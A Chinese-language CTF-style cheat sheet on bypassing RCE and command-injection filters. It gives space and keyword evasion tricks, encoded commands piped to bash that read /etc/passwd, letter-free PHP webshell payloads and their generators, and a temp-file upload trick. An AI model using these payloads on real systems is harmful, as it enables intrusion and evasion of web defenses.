February 26, 2024

RCE Bypass

命令空格绕过

bash下

1
2
3
4
5
6
7
8
9
10
11
12
13
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab) /r
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
/**/

命令连接

1
2
3
4
5
6
7
8
9
win and linux
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

关于|:

image-20240715134329275

ping 127.0.0.1 | ls /成功执行的原因是但是,ls / 并不需要任何输入,它会立即执行并完成。

特定字符绕过

1
2
3
4
5
6
7
8
9
ca\t /fl\ag  //转义
a=c;b=a;c=t;$a$b$c /etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | sh //linux
echo "636174202f666c6167" | xxd -r -p | bash //16进制,注意hex后的0x不需要 cat /flag
$(printf '\154\163') //oct,八进制,ls。注意要单引号,否则bash识别不了。$()等同于``
`printf '\154\163'` //printf '\154\163'是不会换行的,会输出ls%,要printf '\154\163\n'
$(printf '\x6c\x73') //当然也可以16进制 ls

image-20240715142111579

1
2
3
4
5
(sy.(st).em)(whoami);一般用于非shell环境,如上

c''a''t /etc/passwd //两个单引号
c``a``t /etc/passwd // 两个反斜杠
c""a""t /etc/passwd // 两个双引号

image-20240715143714016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
注意只能在shell环境下执行。system不行,如上图。
$*和$@$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi

666`whoami`666 //bash: 666root666: command not found

666`\whoami`666 //bash: 666root666: command not found

//命令执行后的结果在2个666中间


插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/*A10ng_*/(whoami);

system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);

(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi); //注意不要写在正里面,cmd=(sy.(s).tem)(wh.(o).a/*void2eye*/mi);,要写成cmd=(sy.(s).tem)(wh.(o)/*void2eye*/.ami);

image-20240715154456280

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
利用未初始化变量,使用$u绕过
cat /etc$u/passwd
----------------------------------------------
过滤了斜杠‘/’
可利用';'拼接命令绕过

cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd
---------------------------------------------
利用通配符绕过:(能用的很少)
列如cat /passwd:

??? /e??/?a????
cat /e*/pa*

-------------------------------------------------
glob通配符:
在glob里

“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] ".)

“ [-%] ”代表“ [!”#$%] ”而“ [a-z] ”代表“任何 小写字母”

利用[@-[]来表示大写字母:

[...]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{...}与[...]有一个重要的区别,当匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开

cat t[a-z]st

cat t{a,b,c,d,e,f}st

// 注意这个是用来匹配文件名的,比如ls log[0-9]
// cat file{1,2,3}.txt

----------------------------------------------------------------------
利用PATH绕过
可以通过截断和拼接来得到我们想要的来getshell

${PATH:5:1} //l

${PATH:2:1} //s

${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令

${PATH:5:1}s //拼接后是ls,执行命令

image-20240715160531062

无数字字母rce

自增绕过:

‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

url编码后:
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

url编码后:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用

异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("text.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}

else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("text.txt", "r")
while True:
t = f.readline() # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t == "": # 读到空,即读完跳出循环
break
if t[0] == i: # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
# print(i)
s1 += t[2:5] # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2 += t[6:9] # 提取第二个字符串
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")" # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return (output)


param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)

用法

image-20240818201118170

据说可以用或来: |

取反

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

缓存文件

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

参考p神的文章

image-20240821151435925

从表格中可以看到,PHP 7引入了一种新的解析顺序,这种顺序与PHP 5不同,导致某些表达式在PHP 7下的执行结果与PHP 5不同。

举例说明:

意思是:php7前没办法($a)(); 因为php5是先解析();里面,为空。

相当于可以:('phpinfo')();

看一下题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (strlen($cmd)>35) {
die('toooooolong!');
}
if (preg_match("/[A-Za-z0-9_$]+/",$cmd)){
die('nonono!');
}
eval($cmd);
}else{
highlight_file(__FILE__);
}

基本上该过滤的都过滤完了

php7

image-20240821154607493

image-20240821154616406

取反,然后用之前那个表达式()();

php5

1
docker run --rm -p 9090:80 -v `pwd`:/var/www/html php:5.6-apache

首先从想到可以用反引号执行命令

注意两个知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

注意这里,.是所有UNIX系的shell都可以,但是source属于bash

然后基本/tmp下的文件都可执行

而发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机大小写字母

  1. *可以代替0个及以上任意字符
  2. ?可以代表1个任意字符

所以:/tmp/phpXXXXXX => /*/????????? 或 /???/?????????

注意:

glob支持用[^x]的方法来构造“这个位置不是字符x”。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

image-20240821160049068

image-20240821160130731

我们可以利用[@-[]来表示大写字母:image-20240821160212304

因为只有php临时文件可能有大写

image-20240821171357305

注意写数据包时不要写错!

1
2
3
4
5
6
7
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ra0WsQ0aDxSuWXg
Content-Length: 156

------WebKitFormBoundary0Ra0WsQ0aDxSuWXg
Content-Disposition: form-data; name="file"; filename="1.txt"

1
------WebKitFormBoundary0Ra0WsQ0aDxSuWXg--

payload:

1
?cmd=?><?=`.%20/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[@-[]`%3b?>

tip有可能改目录,查看目录函数:

1
2
echo sys_get_temp_dir();

无参数RCE

他的正则表达式为
/[^\W]+\((?R)?\)/,在这里表示递归匹配。

函数

getenv

获取环境变量

var_dump

打印结果,调试。

scandir readfile

读取文件

next

把数组指针往下移动一位。

image-20240821173036958

get_defined_vars

获取定义的所有变量
cmd=var_dump(next(get_defined_vars()));&a=1

session_start

启动一个session

getallheaders

获取所有的请求头

getcwd

获取所在目录

apache_request_headers

只适用于apache获取请求头。

About this Post

This post is written by void2eye, licensed under CC BY-NC 4.0.

#Web